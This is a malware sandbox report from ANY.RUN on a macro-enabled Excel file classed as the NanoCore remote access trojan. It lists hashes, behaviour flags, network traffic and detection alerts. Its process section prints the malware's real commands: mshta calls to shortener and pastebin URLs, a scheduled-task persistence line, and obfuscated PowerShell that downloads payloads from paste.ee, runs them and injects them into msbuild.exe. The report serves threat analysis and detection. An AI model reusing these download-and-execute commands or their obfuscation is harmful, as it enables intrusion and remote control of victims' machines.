analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

c3164407257b993dc3eb339805822f2c597e3985b3ae8bf8f08d44e3aa00fea3.xlsm

Full analysis: https://app.any.run/tasks/cb7c326a-d18b-46fc-9bfd-0b5ec445840b
Verdict: Malicious activity
Threats:

NanoCore is a Remote Access Trojan or RAT. This malware is highly customizable with plugins which allow attackers to tailor its functionality to their needs. Nanocore is created with the .NET framework and it’s available for purchase for just $25 from its “official” website.

Malware Trends Tracker     >>>
Analysis date: January 18, 2020, 12:10:34
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-close
trojan
nanocore
rat
Indicators:
MIME: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info: Microsoft Excel 2007+
MD5:

C62D0AF3BCF7063F59465671C686AA8C

SHA1:

3FD5698DB16D0AA72162B915C2C6CCA146FB4E5B

SHA256:

C3164407257B993DC3EB339805822F2C597E3985B3AE8BF8F08D44E3AA00FEA3

SSDEEP:

1536:qISZv7u8aNE8ZsqmasbNDGXT9W2rn7eC7NDSU0F6:qISZv7raO8Vt4y9WUWUx

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EXCEL.EXE (PID: 2552)

    • Changes the autorun value in the registry

      • mshta.exe (PID: 1744)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2552)

    • Uses Task Scheduler to run other applications

      • mshta.exe (PID: 1744)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2952)

    • Executes PowerShell scripts

      • mshta.exe (PID: 2776)

    • NANOCORE was detected

      • msbuild.exe (PID: 2956)

    • Connects to CnC server

      • msbuild.exe (PID: 2956)

  • SUSPICIOUS

    • Creates files in the user directory

      • mshta.exe (PID: 1744)
      • mshta.exe (PID: 2776)
      • powershell.exe (PID: 1016)
      • powershell.exe (PID: 4044)
      • msbuild.exe (PID: 2956)

    • Uses TASKKILL.EXE to kill Office Apps

      • cmd.exe (PID: 2992)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • mshta.exe (PID: 1744)

    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 1744)

    • Application launched itself

      • mshta.exe (PID: 1744)

    • Connects to unusual port

      • msbuild.exe (PID: 2956)

  • INFO

    • Reads internet explorer settings

      • mshta.exe (PID: 1744)
      • mshta.exe (PID: 2776)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2552)

    • Reads settings of System Certificates

      • powershell.exe (PID: 4044)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xlsm | Excel Microsoft Office Open XML Format document (with Macro) (50.8)
.xlsx | Excel Microsoft Office Open XML Format document (30)
.zip | Open Packaging Conventions container (15.4)
.zip | ZIP compressed archive (3.5)

EXIF

XML

AppVersion: 12
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
TitlesOfParts:
  • Sheet1
  • Sheet2
  • Sheet3
HeadingPairs:
  • Worksheets
  • 3
ScaleCrop: No
DocSecurity: None
Application: Microsoft Excel
ModifyDate: 2020:01:04 07:34:39Z
CreateDate: 2006:09:16 00:00:00Z
LastModifiedBy: -

XMP

Creator: -

ZIP

ZipFileName: [Content_Types].xml
ZipUncompressedSize: 1359
ZipCompressedSize: 389
ZipCRC: 0x66e51af1
ZipModifyDate: 1980:01:01 00:00:00
ZipCompression: Deflated
ZipBitFlag: 0x0006
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
53
Monitored processes
15
Malicious processes
5
Suspicious processes
1

Behavior graph

Click at the process to see the details
start excel.exe no specs mshta.exe cmd.exe no specs mshta.exe schtasks.exe no specs taskkill.exe no specs taskkill.exe no specs powershell.exe powershell.exe calc.exe no specs calc.exe no specs calc.exe no specs calc.exe no specs calc.exe no specs #NANOCORE msbuild.exe

Process information

PID
CMD
Path
Indicators
Parent process
2552"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
1744mshta http:\\j.mp\axsxaY6C:\Windows\system32\mshta.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
2992"C:\Windows\System32\cmd.exe" /c taskkill /f /im excel.exe & taskkill /f /im winword.exeC:\Windows\System32\cmd.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
128
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2776"C:\Windows\System32\mshta.exe" http:\\pastebin.com\raw\JF0Zjp3gC:\Windows\System32\mshta.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
2952"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 60 /tn (+main+) /tr "mshta http:\\pastebin.com\raw\JF0Zjp3g" /F C:\Windows\System32\schtasks.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3356taskkill /f /im excel.exe C:\Windows\system32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2716taskkill /f /im winword.exeC:\Windows\system32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
4044"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow@$!@$loadStri@$!@$g'.replace('@$!@f7f81a39-5f63-5b42-9efd-1f13b5431005#39;,'n'),[Microsoft.VisualBasic.CallType]::Method,'https://paste.ee/r/a81BJ')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow@$!@$loadStri@$!@$g'.replace('@$!@f7f81a39-5f63-5b42-9efd-1f13b5431005#39;,'n'),[Microsoft.VisualBasic.CallType]::Method,'https://paste.ee/r/hkHsD').replace('*','0x')|IEX;[vroombrooomkrooom]::kekedoyouloveme('msbuild.exe',$f)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1016"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_f7f81a39-5f63-5b42-9efd-1f13b5431005#39;,'n'),[Microsoft.VisualBasic.CallType]::Method,'https://paste.ee/r/lyLMu')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_f7f81a39-5f63-5b42-9efd-1f13b5431005#39;,'n'),[Microsoft.VisualBasic.CallType]::Method,'http://paste.ee/r/Mzh1I').replace('*','0x')|IEX;[vroombrooomkrooom]::kekedoyouloveme('calc.exe',$f)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3536"{path}"C:\WINDOWS\system32\calc.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Calculator
Exit code:
4294967295
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 700
Read events
1 397
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
8
Text files
13
Unknown types
2

Dropped files

PID
Process
Filename
Type
2552EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRAAE0.tmp.cvr —
MD5:—
SHA256:—
2552EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~$c3164407257b993dc3eb339805822f2c597e3985b3ae8bf8f08d44e3aa00fea3.xlsm —
MD5:—
SHA256:—
2552EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DFC23A621956862873.TMP —
MD5:—
SHA256:—
1744mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\error[1] —
MD5:—
SHA256:—
1744mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\error[1] —
MD5:—
SHA256:—
1744mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\warning[1] —
MD5:—
SHA256:—
1744mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\warning[1] —
MD5:—
SHA256:—
4044powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IDZRY4MWXEQZBNGGNB2O.temp —
MD5:—
SHA256:—
1016powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LBFTHQ386CX8NY3W38OB.temp —
MD5:—
SHA256:—
1744mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\2094335208-widgets[1].jstext
MD5:F4E6E153754D44C0D7E2A39B92591278
SHA256:C9CEAC7C1DDCA8F6A8BA8B51C1D9F11A319F1F5344D1388F82EBC0BF3E956798
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
14
DNS requests
11
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2776
mshta.exe
GET
200
104.20.67.143:80
http://pastebin.com/raw/JF0Zjp3g
US
html
622 b
shared
1744
mshta.exe
GET
301
67.199.248.16:80
http://j.mp/axsxaY6
US
html
140 b
shared
1016
powershell.exe
GET
301
104.18.49.20:80
http://paste.ee/r/Mzh1I
US
html
162 b
shared
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1744
mshta.exe
67.199.248.16:80
j.mp
Bitly Inc
US
shared
1744
mshta.exe
172.217.22.9:443
www.blogger.com
Google Inc.
US
whitelisted
1744
mshta.exe
172.217.23.161:443
xnasxjnasn.blogspot.com
Google Inc.
US
whitelisted
2776
mshta.exe
104.20.67.143:80
pastebin.com
Cloudflare Inc
US
malicious
1744
mshta.exe
172.217.23.109:443
accounts.google.com
Google Inc.
US
suspicious
4044
powershell.exe
104.18.49.20:443
paste.ee
Cloudflare Inc
US
shared
1016
powershell.exe
104.18.49.20:443
paste.ee
Cloudflare Inc
US
shared
2956
msbuild.exe
23.106.160.1:8756
kada.duckdns.org
Nobis Technology Group, LLC
US
malicious
2956
msbuild.exe
8.8.8.8:53
—
Google Inc.
US
whitelisted
1016
powershell.exe
104.18.49.20:80
paste.ee
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
j.mp
  • 67.199.248.16
  • 67.199.248.17
shared
xnasxjnasn.blogspot.com
  • 172.217.23.161
whitelisted
www.blogger.com
  • 172.217.22.9
shared
resources.blogblog.com
  • 172.217.22.9
whitelisted
accounts.google.com
  • 172.217.23.109
shared
pastebin.com
  • 104.20.67.143
  • 104.20.68.143
shared
google.com
  • 172.217.21.206
  • 216.58.206.14
whitelisted
paste.ee
  • 104.18.49.20
  • 104.18.48.20
shared
kada.duckdns.org
  • 23.106.160.1
malicious

Threats

PID
Process
Class
Message
1744
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
2776
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
2956
msbuild.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
2956
msbuild.exe
A Network Trojan was detected
ET TROJAN Possible NanoCore C2 60B
2956
msbuild.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
2956
msbuild.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
2956
msbuild.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
2956
msbuild.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
2956
msbuild.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
2956
msbuild.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
19 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
c3164407257b993dc3eb339805822f2c597e3985b3ae8bf8f08d44e3aa00fea3.xlsm